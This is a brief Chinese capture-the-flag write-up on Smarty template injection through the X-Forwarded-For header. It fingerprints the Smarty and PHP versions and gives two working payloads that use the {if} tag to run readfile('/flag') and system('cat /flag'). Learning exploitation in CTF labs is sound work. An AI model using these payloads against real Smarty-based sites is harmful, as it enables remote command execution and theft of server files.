知识点:smarty模板注入
解题过程:
打开容器后,是个这样的界面,注意最下面的Build With Smarty!
, 猜测是smarty模板注入。
测试模板注入,用bp抓包,然后插入X-Forwarded-For:{$smarty.version}
回显,版本为3.1.30
,说明是smarty模板注入
同时回显中也可发现,php版本是7.3.5,那么这样的话<script language="php">phpinfo();</script> ,
就无法使用
同时smarty的版本是3,所以{php}{/php}
也无法使用。
但是smarty的if标签
也可以执行php代码
payload1:
{if readfile('/flag')}{/if}
payload2:
{if system('cat /flag')}{/if}